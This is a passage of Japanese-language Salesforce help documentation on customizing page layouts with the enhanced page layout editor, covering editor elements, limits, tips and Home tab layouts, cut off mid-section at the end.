Performance Edition、および Developer Edition の組織では、プロファイルとレコードタイプに応じて異なるページ
レイアウトを作成できます。また、特定の項目に対するユーザのアクセスを制限する項目レベルセキュリティ
も設定できます。
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Professional Edition、Enterprise Edition、Performance Edition、Unlimited Edition、および Developer Edition では、[コンソー
ル] タブに表示されるミニページレイアウトと関連オブジェクトを設定できます。

標準オブジェクトのページレイアウトの編集
標準 Salesforce オブジェクトのページレイアウトのデザインを変更します。
カスタムオブジェクトおよび外部オブジェクトのページレイアウトの編集
カスタムオブジェクトおよび外部オブジェクトのページレイアウトのデザインを変更します。
高度なページレイアウトエディタを使用したページレイアウトのカスタマイズ
高度なページレイアウトエディタは、Salesforce、セルフサービスポータル、およびSalesforceカスタマーポー
タルの詳細ページと編集ページに適用される組織のページレイアウトをカスタマイズするための WYSIWYG

ツールです。高度なページレイアウトエディタは、従来のページレイアウトエディタの全機能のほか、追
加機能と使いやすいユーザインターフェースを備えています。
[ホーム] タブのページレイアウトのカスタマイズ
ページレイアウトの割り当て
ページレイアウトのカスタマイズまたはレコードタイプページからのページレイアウトの割り当て
商談商品の複数行レイアウトの編集
カスタムオブジェクト用のページレイアウトの作成
Salesforce1 でのページレイアウトの機能
高度なページレイアウトエディタを使用して、オブジェクトのレコード詳細ページのレイアウトをカスタ
マイズし、アクションを設定し、Salesforce1 に表示される項目と関連リストを調整します。
Lightning Experience のページレイアウト
Salesforce Classicでオブジェクトレコードページをカスタマイズすると、Lightning Experienceのオブジェクトレ
コードページの内容に影響します。ただし、Lightning Experience ではページ要素が異なって表示され、一部
はサポートされていません。
Salesforce1 でページレイアウトを最適化するためのヒント
既存のページレイアウトをモバイルで使用しやすくするヒントと使用方法について説明します。
高度なページレイアウトエディタでのモバイルカードの管理
ページレイアウトの [モバイルカード] セクションに、拡張ルックアップ、コンポーネント、Visualforce ペー
ジを追加することで、Salesforce1 にモバイルカードとして表示できます。
関連リストのカスタマイズ
Salesforce および Salesforce カスタマーポータルのレコード詳細ページにある関連リストのボタン、表示され
る列、列の順序、およびレコードの並び替え順はカスタマイズできます。
詳細ページボタンのカスタマイズ
従来のページレイアウトエディタを使用したページレイアウトのカスタマイズ

関連トピック:

項目へのユーザアクセスの制御
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標準オブジェクトのページレイアウトの編集

エディション

使用可能なインター
フェース: Salesforce Classic
および Lightning Experience
の両方

使用可能なエディション:
すべてのエディション

ユーザ権限

ページレイアウトをカス
タマイズする
• 「アプリケーションの

カスタマイズ」

ページレイアウトを参照
する
• 「設定・定義を参照す

る」

標準 Salesforce オブジェクトのページレイアウトのデザインを変更します。
適切なオブジェクトの管理設定から、[ページレイアウト] に移動します。
または、デフォルトで有効化されている高度なページレイアウトエディタを使
用している場合は、オブジェクトの詳細ページの [レイアウトを編集する] をク
リックして標準オブジェクトのページレイアウトをカスタマイズできます。

関連トピック:

ページレイアウト
項目へのユーザアクセスの制御
従来のページレイアウトエディタを使用したページレイアウトのカスタマイ
ズ
高度なページレイアウトエディタを使用したページレイアウトのカスタマイ
ズ

カスタムオブジェクトおよび外部オブジェクトのページレイアウトの編集

エディション

使用可能なインター
フェース: Salesforce Classic
および Lightning Experience
の両方

使用可能なエディション:
すべてのエディション

ユーザ権限

ページレイアウトをカス
タマイズする
• 「アプリケーションの

カスタマイズ」

ページレイアウトを参照
する
• 「設定・定義を参照す

る」

カスタムオブジェクトおよび外部オブジェクトのページレイアウトのデザイン
を変更します。
1. ページレイアウトを編集するオブジェクトの管理設定から、[ページレイアウ

ト] に移動します。
2. 次のいずれかを実行します。

a. 「アプリケーションのカスタマイズ」権限がある場合は、カスタマイズ
するページレイアウトを開いて編集します。

b. 「設定・定義を参照する」権限がある場合は、表示するページレイアウ
トをクリックします。

関連トピック:

ページレイアウト
項目へのユーザアクセスの制御
従来のページレイアウトエディタを使用したページレイアウトのカスタマイ
ズ
高度なページレイアウトエディタを使用したページレイアウトのカスタマイ
ズ
オブジェクト管理設定の検索

5237

項目へのユーザアクセスの制御コードではなくてクリックによる Salesforce の拡張



高度なページレイアウトエディタを使用したページレイアウトのカスタマイズ

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
すべてのエディション

ユーザ権限

ページレイアウトをカス
タマイズする
• 「アプリケーションの

カスタマイズ」

ページレイアウトを参照
する
• 「設定・定義を参照す

る」

高度なページレイアウトエディタは、Salesforce、セルフサービスポータル、およ
び Salesforce カスタマーポータルの詳細ページと編集ページに適用される組織の
ページレイアウトをカスタマイズするための WYSIWYG ツールです。高度なペー
ジレイアウトエディタは、従来のページレイアウトエディタの全機能のほか、
追加機能と使いやすいユーザインターフェースを備えています。
高度なページレイアウトエディタには、画面上部のパレットと画面下部のペー
ジレイアウトの 2 つの部分があります。パレットには、項目、アクション、ボ
タン、リンク、関連リストなど、ページレイアウトに追加可能なユーザインター
フェース要素が揃っています。
高度なページレイアウトエディタを使用すると、次の操作を実行できます。
• 複数の要素を個別に選択するには、Ctrl キーを押しながらクリックします。

複数の要素をグループとして選択するには、Shift キーを押しながらクリック
します。

• ページレイアウトの要素のプロパティを変更するには、要素をダブルクリッ
クするか、要素の横にあるレンチアイコン ( ) をクリックします。パレット
で要素のプロパティを変更することはできません。

• 項目を参照のみまたは必須にするには、ページレイアウトで項目をダブルク
リックして、適切なチェックボックスをオンにします。

• 複数のページレイアウトがあるオブジェクトの他のレイアウトにアクセスするには、ページ上部のページ
レイアウト名をクリックして、参照する別のレイアウトを選択します。

• ページレイアウトの名前を変更し、可能であれば個人タグおよび公開タグを追加して、ページレイアウト
上に標準オブジェクトのチェックボックスを表示するには、[レイアウトのプロパティ]をクリックします。

メモ: Salesforce Professional Edition を使用している場合は、ページレイアウトの名前は変更できません。

• Enterprise Edition、Unlimited Edition、Performance Edition、および Developer Edition では、プロファイルを選択する
ことで、そのプロファイルのユーザに対してページがどのように表示されるかをプレビューできます。ほ
とんどの関連リストの列は、プレビューではデータが表示されません。

• フィードベースのページレイアウトを使用する場合、[フィードビュー] をクリックして、ユーザがレコー
ドのフィードで作業しているときに表示されるツールおよびコンポーネントをカスタマイズします。

• レコード詳細ページに表示する項目およびその表示順を選択するには、[複数行レイアウトの編集]をクリッ
クします。

• ミニページレイアウトでは、オブジェクトの詳細ページ、エージェントコンソール、またはSalesforce Classic

のサイドバーの [最近使ったデータ] セクションで項目にマウスポインタを置いたときに表示される詳細の
フロート表示を定義します。ミニページレイアウトで項目をカスタマイズするには、パレットの上部にあ
る [ミニページレイアウト] をクリックします。

• ページレイアウトのカスタマイズが終了したら、保存します。保存せずにページレイアウトを離れて移動
すると、変更内容が失われます。

高度なページレイアウトエディタのユーザインターフェース要素
高度なページレイアウトエディタの使用に関するガイドライン
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ページレイアウトのヒント
ページレイアウトを整理し、使いやすくするためのいくつかのヒントを次に示します。
ページレイアウトに関する考慮事項
高度なページレイアウトエディタでページレイアウトを操作する場合は、次の点を考慮します。

関連トピック:

高度なページレイアウトエディタの使用に関するガイドライン
関連リストのカスタマイズ
フィードベースのレイアウトの概要
ページレイアウト

高度なページレイアウトエディタのユーザインターフェース要素

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
すべてのエディション

ユーザ権限

ページレイアウトをカス
タマイズする
• 「アプリケーションの

カスタマイズ」

ページレイアウトを参照
する
• 「設定・定義を参照す

る」

以下に、高度なページレイアウトエディタのユーザインターフェース要素と、
ページレイアウトでの要素の使用方法について説明します。要素を追加するに
は、要素をパレットからレイアウトにドラッグします。有効なドロップ場所は
緑色で表示されます。要素を削除するには、要素をレイアウトからドラッグし
てパレットに戻します。

ヒント: ページレイアウトを編集する前に、適切なボタン、カスタムリン
ク、項目、カスタムSコントロール、およびVisualforceページを作成します。

アクション
モバイルスマートアクションは、ページレイアウトエディタに単一のアク
ション要素として表示されます。ただし、これらのアクションは、Salesforce1

のアクションバーおよびアクションメニューには個々の作成アクションとし
て表示されます。ユーザはこれらの個々のアクションを使用して、アクショ
ンバーから直接レコードを作成できます。モバイルスマートアクションの
セットに含まれる作成アクションは、ページレイアウトのオブジェクトに
よって異なります。

メモ: アクションを削除すると、そのアクションが割り当てられている
すべてのレイアウトからアクションが削除されます。

Wave Analytics アセット
Wave Analyticsダッシュボードは、ページレイアウトの任意のセクション ([モバイルカード] を除く) に追加お
よび移動できます。
Wave Analytics ダッシュボード要素については、項目の対応付けを使用して、ダッシュボードのデータ項目
をオブジェクトの項目に対応付け、参照しているレコードに関連のあるデータのみがダッシュボードに表
示されるようにします。複数のデータセットの項目を指定できます。各データセットは、データセットの
編集ページに表示されているシステム名で識別します。データ項目は行で識別し、値については Salesforce

オブジェクトの項目名または特定の値のいずれかを指定します。JSON の項目対応付けは、次の形式に従い
ます。
{

"dataset1_system_name": {
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"row_name": ["$field_name"],
"row_name”: ["$field_name"]

},
"dataset2_system_name": {

"row_name": ["$field_name"],
"row_name”: ["$field_name"]

}
}

たとえば、ダッシュボードに「サービス」という名前のデータセットのデータが表示され、取引先と業種
のディメンションがある場合、項目対応付けは次のように定義されます。
{

"service": {
"account": ["$Name"],
"industry”: ["$Industry"]

}
}

空白スペース
ページレイアウト上の任意のセクション ([モバイルカード] を除く) に空白スペースを追加したり移動したり
できます。空白スペースを使用して、ページ上で垂直方向に位置を揃えたり要素を区別したりします。

メモ: 従来のページレイアウトエディタに高度なページレイアウトエディタで作成したページレイア
ウトを表示すると、従来のページレイアウトエディタに追加した空白スペースが表示されます。従来
のページレイアウトエディタでは空白スペースを移動や追加できませんが、右側のボックスにドラッ
グすれば削除できます。

Lightning Experience では、空白スペースはサポートされていません。
ボタン

表示する標準ボタンおよびカスタムボタンとその表示順序を指定できます。標準ボタンの順序は変更でき
ません。
標準ボタンとカスタムボタンは、Salesforce1および Lightning Experienceではアクションとして使用できます。

キャンバスアプリケーション
パレットに [キャンバスアプリケーション] カテゴリを表示するには、Salesforceでキャンバスアプリケーショ
ンを作成するときにキャンバスアプリケーションの場所を Visualforce ページに設定します。
• [モバイルカード] セクション以外のセクションにキャンバスアプリケーションを追加した場合、キャン

バスアプリケーションは Salesforce フルサイトのページレイアウトまたは Salesforce1 のレコード詳細ペー
ジに表示されます。

• キャンバスアプリケーションを [モバイルカード] セクションに追加した場合、キャンバスアプリケー
ションは Salesforce1 のレコードの関連情報ページにカードとして表示されます。

コンポーネント
コンポーネントをページレイアウトの [モバイルカード] セクションに追加すると、Salesforce1 のレコードの
関連情報ページにカードとして表示されます。コンポーネントは、ページレイアウトの [モバイルカード]

セクションでのみサポートされ、Salesforce1 にのみ表示されます。
Spring '14 より後に作成された組織では、Twitter コンポーネントをサポートするオブジェクトで、ページレイ
アウトの [モバイルカード] セクションにこのコンポーネントがデフォルトで追加されます。
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メモ:  Twitter コンポーネントをページレイアウトに追加するには、[ソーシャル取引先と取引先責任者]

を組織で有効にしておく必要があります。
Lightning Experience で取引先、取引先責任者、およびリードレコードページに表示される Twitter カードは、
ページレイアウトエディタのモバイルカードで使用できる Twitter コンポーネントとは異なります。Lightning

Experience の Twitter カードは Lightning コンポーネントです。ソーシャル取引先と取引先責任者を表示するに
は、有効にする必要があります。

拡張ルックアップ
高度なページレイアウトエディタの拡張ルックアップのカテゴリには参照関係を持つ項目が含まれます。
これらの項目では、レイアウトの [モバイルカード] セクションに追加されると、Salesforce1 のレコードの関
連情報ページ上の関連ルックアップカードとして表示されます。ページレイアウトには、最大 20 個の拡張
ルックアップを含めることができます。
[拡張ルックアップ] カテゴリには、コンパクトレイアウトをサポートするオブジェクトへの参照関係を持
つ項目のみが含まれます。
Lightning Experience では、拡張ルックアップはサポートされていません。

項目
1 つの項目に、次のアイコンが 1 つ以上表示されることがあります。
•  - 項目にはレコードを保存するための値が必要ですが、ページレイアウト上にある必要はありません。
•  - 管理者が項目を必須と設定したか Salesforce がその項目を自動的に必須としているため、項目はペー

ジレイアウト上に置く必要があります。このような項目は削除できませんが、他の位置に移動すること
はできます。

•  - 項目は制御項目です。
•  - 項目は連動項目です。
•  - 項目は参照のみです。
必須項目および参照のみの項目を設定するには、1 つ以上の項目を選択してから、選択した項目のいずれか
のレンチアイコン ( ) をクリックします。
• 標準項目の項目属性には、変更できないものがあります。カスタム項目は、必須項目以外であれば変更

できます。
• 参照のみに設定された項目は、システム管理者および「参照のみ項目の編集」権限を持つユーザであれ

ば必要に応じて編集できます。
• 選択リスト項目を参照のみに設定すると、すべての新規レコードにその選択リストのデフォルト値が入

力されます。
• 自動採番の項目は、常に参照のみになります。
• 商談の [確度] 項目を参照のみに設定した場合でも、ユーザが商談の [フェーズ] 値を変更すると、[確

度] 値が更新されます。
項目を操作する場合、次の点に注意してください。
• Personal Edition、Contact Manager Edition、およびGroup Edition では、ページレイアウトにより、関連リスト、

リストビュー、レポート、Connect Offline、メールおよび差し込み印刷テンプレート、カスタムリンク、
およびデータの同期でアクセスできる項目を管理します。Professional Edition、Enterprise Edition、Unlimited

Edition、Performance Edition、および Developer Edition では、項目レベルセキュリティでこのアクセスを管理
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します。項目レベルセキュリティがページレイアウト設定よりも厳しい場合は、項目レベルセキュリ
ティの設定によって、ページレイアウトで設定した項目プロパティが上書きされます。

• ユーザは、参照および編集アクセス権がある場合にのみ、項目に値をインポートできます。項目のアク
セス権は、ユーザ権限、ページレイアウトの割り当て、および項目レベルセキュリティ設定によって決
まります。

関連リスト
ページレイアウトには、最大 100 個の関連リストを含めることができます。関連リストは、ページレイア
ウトの下部に配置できます。ページレイアウト上の関連リスト移動するには、関連リストの上にあるハン
ドルをドラッグします。
関連リストをカスタマイズするには、関連リストハンドルをダブルクリックするか、ハンドル内のレンチ
アイコン ( ) をクリックします。関連リストのプロパティを使用して、次の操作を実行できます。
• 関連リストの列として表示する項目、表示する順序、関連リスト内のレコードのソート順を指定する。

Professional Edition、Enterprise Edition、Unlimited Edition、Performance Edition では、列情報を同じオブジェクト
種別の他のページレイアウトに適用することも選択できます。

• 関連リストに表示する標準ボタンおよびカスタムボタンを指定する。
ページレイアウト上で関連リストを使用する場合は、次のことに注意してください。
• [すべて表示] ボタンは、関連リストの最大 2,000 項目にのみ表示されます。
• 一部の関連リストは、データにリンクされ、データを保存していないため、カスタマイズできません。

Salesforce は、ページレイアウト上でカスタマイズできない関連リストに印を付けます。
• 関連リストは [ユーザ] オブジェクトのページレイアウトには追加できません。
• また、組織の関連リストのフロート表示リンクを有効化して、レコードの詳細ページのページ上部に各

関連リストへのリンクを表示できます。ユーザが関連リストのフロート表示リンク上にマウスを置く
と、対応する関連リストが対話型フロート表示として示され、ユーザが関連リストのアイテムを簡単に
表示および管理できます。関連リストのフロート表示リンクをクリックすると、ページをスクロールダ
ウンしなくても関連リストの下方の内容を表示できます。

• Professional Edition、Enterprise Edition、Unlimited Edition、Performance Edition、および Developer Edition では、個々
のユーザがそれぞれの個人使用のためにどの関連リストを表示するかをカスタマイズできます。システ
ム管理者は、ユーザのディスプレイがすでにカスタマイズされている場合でも、ユーザカスタマイズを
上書きし、ページレイアウトの関連リスト設定をすべてのユーザに適用できます。ユーザの関連リスト
カスタマイズを上書きするには、関連リストを移動または追加してページレイアウトを保存するときに
表示される、[ユーザのカスタマイズされた関連リストを上書き] ポップアップウィンドウで [はい] をク
リックします。

• 関連リストが、Salesforce1 でレコードの関連情報ページに表示されます。
カスタムSコントロール

ページレイアウトには、最大 20 個の Sコントロールを含めることができます。
Sコントロールのプロパティを変更するには、Sコントロールをダブルクリックするか、レンチアイコン ( )

をクリックして次の属性を設定します。
• [幅] に横のサイズをピクセル数またはパーセントで指定します。
• [高さ] に縦のサイズをピクセル数で指定します。
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• [スクロールバーを表示] には、Sコントロールを表示する iFrame にスクロールバーを必要に応じて付加
するかどうかを指定します。

• [ラベルを表示]には、ページレイアウトにカスタムSコントロールの [表示ラベル]を含めるかどうかを
指定します。Sコントロールを広い領域に表示したい場合は、表示ラベルを非表示にします。

Lightning Experience では、Sコントロールはサポートされていません。
セクション

ページレイアウト上の関連リストの上であれば、どこにでもセクションを追加したり移動したりできます。
追加するセクションには、項目、Sコントロール、および空白スペースを含めることができます。また、各
ページレイアウトは、カスタムリンクおよび空白スペースのみを含めることのできるデフォルトセクショ
ンがあります。カスタムリンクセクションの位置は変更できますが、ページから削除することはできませ
ん。
パレットで [項目] カテゴリまたは [カスタムSコントロール] カテゴリを選択すると、[セクション] ユーザイ
ンターフェース要素はパレット内の第 2 のオプションです。
セクションの属性を変更するには、セクションをダブルクリックするか、関連付けられているレンチアイ
コン ( ) をクリックします。次の操作が可能です。
• セクションの名前を入力します。標準ページのセクションには、名前を変更できないものがあります。
• セクションの列が 1 列か 2 列かを指定します。
• そのセクションで、ユーザがタブで移動できる項目の順番を指定します。
• 詳細ページおよび編集ページにセクションヘッダーを表示するかどうかを指定します。

タグ
組織でタグを有効にしている場合は、[レイアウトのプロパティ] をクリックし、チェックボックスを使用
して個人タグおよび公開タグをページレイアウトのヘッダーセクションに含めるかどうかを示します。個
人タグおよび公開タグのどちらもヘッダーセクションに含まれていない場合は、レコードにタグを付ける
ことができません。また、ヘッダー内の個人タグおよび公開タグの位置は変更できません。
Lightning Experience では、タグはサポートされていません。

Visualforce ページ
Visualforce ページは、カスタムリンクと関連リスト用に予約されているセクションを除き、ページレイアウ
ト上のすべてのセクションに追加できます。ページレイアウトには、最大 20 個のVisualforceページを含める
ことができます。
ページレイアウトを作成しようとしているオブジェクトに対してVisualforceページ上に標準制御項目が設定
されている場合に限り、Visualforce ページをページレイアウトに追加できます。オブジェクトに対して標準
制御項目が設定されている Visualforce ページがない場合、[Visualforce ページ] カテゴリはパレットに表示され
ません。
[Salesforce モバイルアプリケーションおよび Lightning ページでの使用が可能] チェックボックスが
オンになっている Visualforce ページのみが Salesforce1 に表示されます。
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モバイル対応のVisualforceページでは、パレットにモバイル非対応のページとは若干異なる色の要素が表示
されます。パレットでVisualforceページ要素にマウスを置くと、Visualforceページがモバイル対応であるかど
うかが表示されます。

関連トピック:

高度なページレイアウトエディタの使用に関するガイドライン
高度なページレイアウトエディタを使用したページレイアウトのカスタマイズ

高度なページレイアウトエディタの使用に関するガイドライン

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
すべてのエディション

ユーザ権限

ページレイアウトをカス
タマイズする
• 「アプリケーションの

カスタマイズ」

ページレイアウトを参照
する
• 「設定・定義を参照す

る」

• ページレイアウト上にすでに置かれている要素は、パレットにも表示されて
いますが無効になっています。パレット上で無効になっている要素をクリッ
クすると、Salesforce では、ページレイアウト上のその要素が強調表示されま
す。

• ページレイアウトから項目を削除しても、オブジェクトのコンパクトレイア
ウトからは削除されません。2 つのレイアウトタイプは独立しています。

• 従来のページレイアウトエディタが有効になっている場合、ユーザはページ
レイアウト名をクリックすることでページレイアウトの詳細ページにアクセ
スできます。高度なページレイアウトエディタには詳細ページはありませ
ん。すべての詳細ページの機能は、拡張エディタで常に使用可能です。
Salesforce では、「設定・定義を参照する」権限のあるユーザに対して、高度
なページレイアウトエディタの参照のみのバージョンが表示されます。

メモ: ページレイアウトの参照のみの表示では、詳細のフロート表示に
項目の種別と数値の桁数は表示されません。

• [カスタムリンク]、[カスタムSコントロール]、および [Visualforce ページ] カテ
ゴリは、ページレイアウトを定義しているオブジェクトにそれらのタイプの
要素を定義した場合、パレット内にのみ表示されます。オブジェクトのカス
タムリンクを作成する場合は、そのオブジェクトのページレイアウトにある
[カスタムリンク] セクションに追加します。英語以外の Salesforce 組織では、テリトリーオブジェクトおよ
びテリトリーモデルオブジェクトの「カスタムリンク」セクションタイトルが英語から自動的に翻訳され
ませんが、セクションタイトルは編集できます。

• [キャンバスアプリケーション] カテゴリは、Visualforce ページの場所で 1 つ以上のキャンバスアプリケーショ
ンを定義した場合にのみパレットに表示されます。

• [コンポーネント] カテゴリは、ページレイアウトを定義するオブジェクトで、使用可能なコンポーネント
がサポートされている場合にのみパレットに表示されます。たとえば、Twitter コンポーネントは、取引先、
取引先責任者、およびリードのページレイアウトでのみサポートされます。

• 次の表は、そのオブジェクトのページレイアウトに特有のチェックボックスがある標準オブジェクトの一
覧です。Salesforce でチェックボックスが表示される方法を設定するには、ページレイアウトのカスタマイ
ズ中に [レイアウトのプロパティ] をクリックします。ユーザが編集ページにアクセスするときに Salesforce

により自動的にオプションが選択されるようにする場合は、チェックボックスに関連付けられている [デ
フォルトで選択] チェックボックスを使用します。
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チェックボックスオブジェクト

[保存時にこの取引先をテリトリールールに照らして評価します]チェック
ボックス — 取引先編集ページに [保存時にこの取引先をテリトリールー
ルに照らして評価します] チェックボックスを表示します。
テリトリー割り当てルールは、[デフォルトで選択]チェックボックスが
オンのときに自動的に実行されます。

取引先

[編集ページを表示]と [デフォルトで選択]が両方ともオンの場合、ユー
ザは取引先編集ページで [保存時にこの取引先をテリトリールールに照ら
して評価する]チェックボックスをオフにでき、テリトリー割り当てルー
ルは実行されません。

ケース – [ケース割り当て] チェックボックス  — ケース編集ページで [有効な
割り当てルールによりケースを割り当てる] チェックボックスを表示
します。
ケース割り当てルールは、[デフォルトで選択] チェックボックスが
オンのときに自動的に実行されます。
[編集ページを表示] と [デフォルトで選択] が両方ともオンの場合、
割り当てチェックボックスがデフォルトでオンになりますが、ユー
ザがオフにして割り当てルールを上書きできます。

– [メール通知] チェックボックス  — ケース編集ページで [メールで取
引先責任者に通知する] チェックボックスを表示します。

ケースクローズ – ソリューション情報セクション  — ケースクローズ編集ページで [ソ
リューション情報] セクションを表示します。

– 取引先責任者に通知  — ケースクローズ編集ページで [取引先責任者に
通知] チェックボックスを表示します。

[リード割り当て] チェックボックス  — リード編集ページで [有効な割り
当てルールによりリードを割り当てる]チェックボックスを表示します。
リード割り当てルールは、[デフォルトで選択]チェックボックスがオン
のときに自動的に実行されます。

リード

[編集ページを表示] と [デフォルトで選択] が両方ともオンの場合、割
り当てチェックボックスがデフォルトでオンになりますが、ユーザがオ
フにして割り当てルールを上書きできます。

[保存時にこの取引先をテリトリールールに照らして評価します]チェック
ボックス — 個人取引先編集ページに [保存時にこの取引先をテリトリー
ルールに照らして評価します] チェックボックスを表示します。
テリトリー割り当てルールは、[デフォルトで選択]チェックボックスが
オンのときに自動的に実行されます。

個人取引先
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[編集ページを表示]と [デフォルトで選択]が両方ともオンの場合、ユー
ザは取引先編集ページで [保存時にこの取引先をテリトリールールに照ら
して評価する]チェックボックスをオフにでき、テリトリー割り当てルー
ルは実行されません。

[メール通知] チェックボックス  — ToDo 編集ページで [メールで通知す
る] チェックボックスを表示します。

ToDo

メモ: チェックボックスの状態は、ユーザ個人のデフォルト設定
が、組織の設定より優先されます。

関連トピック:

高度なページレイアウトエディタのユーザインターフェース要素
高度なページレイアウトエディタを使用したページレイアウトのカスタマイズ

ページレイアウトのヒント

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

ページレイアウトを使用
可能なエディション: すべ
てのエディション

ページレイアウトの作成
および削除に使用可能な
エディション: Enterprise
Edition、Performance
Edition、Unlimited Edition、
および Developer Edition

ページレイアウトを整理し、使いやすくするためのいくつかのヒントを次に示
します。
• 項目レベルセキュリティを使用して、項目に対するユーザのアクセスを制限

したうえで、ページレイアウトを使用して、タブ内に詳細ページと編集ペー
ジをまとめます。これにより、維持管理するページレイアウトの数を減らす
ことができます。項目レベルセキュリティをページレイアウトの制限よりも
厳しく設定した場合、項目レベルセキュリティの設定によって、「アクセス
可」および「参照のみ」の設定が上書きされます。

• 不要な項目を削除する。
• 必須項目数は最小限にする。
• 類似項目をセクションでグループ化する。
• 各セクションで TAB キーの正しい順序について検討する。
• 参照モードと編集モードのレイアウトを確認する。
• カスタム項目にヘルプおよび説明テキストを追加する。このテキストを使用

して、項目で検索するデータの内容をユーザに説明します。
• レコードタイプを使用して異なるレコードに一意のレイアウトを指定する (Professional Edition、Enterprise

Edition、Performance Edition、Unlimited Edition および Developer Edition)。
• 全体的な順序の調整、レコードの並び替え、関連する列とボタンの表示を行って、関連リストを最適化す

る。
• Salesforce1でユーザプロファイルレイアウトをカスタマイズする場合は、[ユーザプロファイルページレイア

ウト] セクションで新しいレイアウトを作成するか、既存のレイアウトを編集します。
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• 連動ルックアップがページレイアウトで制御項目の上にある場合、そのルックアップ検索条件を省略可能
にするか、ページレイアウトを再設計します。ページレイアウト上で必須連動ルックアップがその制御項
目の上にあると、いつもページの上からデータの入力を開始するユーザが困惑する可能性があります。

• バックグラウンドプロセスを定期的に実行して、削除済みのカスタム項目に関連付けられたメタデータを
クリーンアップします。このプロセスは、ページレイアウト、レコードタイプ、およびカスタムオブジェ
クトの [最終更新日] と [最終更新者] 項目に影響します。

• Salesforce は、作成するページレイアウトの数を 200 以内に抑えることをお勧めします。制限はありません
が、200 個を超えるページレイアウトの管理は困難になる可能性があります。

ページレイアウトに関する考慮事項

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

ページレイアウトを使用
可能なエディション: すべ
てのエディション

ページレイアウトの作成
および削除に使用可能な
エディション: Enterprise
Edition、Performance
Edition、Unlimited Edition、
および Developer Edition

高度なページレイアウトエディタでページレイアウトを操作する場合は、次の
点を考慮します。

ページレイアウト
• Salesforce Professional Edition を使用している場合は、ページレイアウトの名前は

変更できません。
• ページレイアウトには、最大 20 個の Sコントロール、最大 20 個の Visualforce

ページ、最大 20 個の高度なルックアップ、最大 100 個の関連リストをドラッ
グできます。項目およびカスタムリンクには制限はありません。ページレイ
アウトごとに Wave Analytics ダッシュボードを 1 つ追加できます。

メモ: Visualforce ページは、ページレイアウトに一度しか配置できませ
ん。

• ユーザオブジェクトのページレイアウトには、カスタム項目、カスタムリン
ク、Sコントロール、および Visualforce ページのみが含まれます。タギング、
関連リスト、カスタムボタン、および標準項目は、ユーザオブジェクトのページレイアウトには含まれま
せん。また、項目レベルセキュリティは、ユーザオブジェクトのカスタム項目でのみ使用できます。ユー
ザプロファイルページには、ユーザページレイアウトのアクションに関係なく、Chatter標準アクション ([投
稿]、[ファイル]、[リンク]、[アンケート]、[感謝]) のみが表示されます。

• 管理アプリケーションからインストールされたページレイアウトを操作するとき、編集できるのは特定の
属性のみです。コンポーネントの追加など、管理ページレイアウトに加えた変更によっては、ページレイ
アウトの編集時は機能しても、レコード詳細ページに反映されない場合があります。

• Chatter グループレイアウトの変更は、Salesforce1 アプリケーションにのみ影響します。グループパブリッ
シャー (アクションおよびレイアウト) への変更は、Salesforce フルサイトと Salesforce1 アプリケーションの両
方に反映されます。

ミニページレイアウト
• セルフサービスポータルのケースクローズ時のレイアウト、ケース登録ページのレイアウト、ケース参照

ページのレイアウトには [ミニコンソールビュー]を選択できません。商談チームページレイアウトには [ミ
ニコンソールビュー] を選択できません。
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• ページレイアウトの項目プロパティが、ミニページレイアウトでの項目プロパティを決定します。たとえ
ば、ページレイアウトで「参照のみ」に設定されている項目は、ミニページレイアウトでも「参照のみ」
となります。ミニページレイアウトでの項目の項目プロパティを変更するには、ページレイアウトでの項
目の項目プロパティを変更する必要があります。

• セルフサービスポータルのケースクローズ時のレイアウト、ケース登録ページのレイアウト、ケース参照
ページのレイアウトにはミニページレイアウトを定義できません。商談チームページレイアウトにはミニ
ページレイアウトを定義できません。

• ユーザオブジェクトのミニページレイアウトを定義できるようになります。ただし、標準項目や関連リス
トは追加できません。また、カスタマイズされたミニページレイアウトは、エージェントコンソールに表
示されません。

• オブジェクトの [編集] ボタンと [参照] ボタンの上書きは、ミニページレイアウトの [編集] ボタンと [参照]

ボタンに影響しません。
• ページレイアウトで [常に表示] または [常にレイアウトに表示] とマークされた項目は自動的にミニペー

ジレイアウトに表示され、ページレイアウトから削除されるまで削除できません。

[ホーム] タブのページレイアウトのカスタマイズ

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
すべてのエディション

ユーザ権限

ホームページのページレ
イアウトを表示する
• 「アプリケーションの

カスタマイズ」

ホームページのレイアウ
トを作成または変更する
• 「アプリケーションの

カスタマイズ」

[ホーム] タブにサイドバーリンク、会社のロゴ、ダッシュボードのスナップショッ
ト、作成したカスタムコンポーネントなどのコンポーネントを含めるようにカ
スタマイズできます。ダッシュボードのスナップショットとは、ダッシュボー
ドのコンポーネントの先頭行を切り抜いたものです。他のタブと同様、ユーザ
のプロファイルに応じて、さまざまなホームページレイアウトを割り当てるこ
とができます。
ユーザは、コンポーネントをサイドバーまたはメインパネルに追加できます。
また、カスタムサイドバーのコンポーネントを [ホーム] タブにのみ表示するか、
すべての Salesforce ページに表示するかを決めることもできます。
ホームページのページレイアウトのカスタマイズを開始するには、次を参照し
てください。
• カスタムホームページコンポーネントの作成 (ページ 5249)

• ホームページのページレイアウトの設計 (ページ 5251)

• プロファイルへの [ホーム] タブのページレイアウトの割り当て (ページ 5253)

カスタムホームページコンポーネントの作成
カスタムコンポーネントを使用して、ユーザ向けのSalesforce Classicホームペー
ジを設定できます。HTML、画像、リンクなどを追加してユーザの生産性を高めることができます。
Visualforce エリアホームページコンポーネント
ホームページに動的なコンテンツを追加するには、Visualforce エリアホームページコンポーネントを使用し
ます。たとえば、パートナーアプリケーションのコンテンツの表示、レポートおよびダッシュボード REST

API によるグラフの表示、ホームページへのキャンバスアプリケーションの追加を行うことができます。
ホームページのページレイアウトの設計
[ホーム] タブに表示するコンポーネントを作成したら、ホームページのページレイアウトを設計します。
組織およびユーザに固有のニーズに基づいて、レイアウトを設計できます。
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ホームページのコンポーネントのヒントと考慮事項
Salesforce Classic の [ホーム] タブに表示するカスタムコンポーネントの作成時には次の考慮事項に留意しま
す。
プロファイルへの [ホーム] タブのページレイアウトの割り当て
ホームページのページレイアウトは、ユーザのプロファイルに割り当てた場合にのみ、そのユーザに表示
されます。

カスタムホームページコンポーネントの作成

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
すべてのエディション

ユーザ権限

ホームページのレイアウ
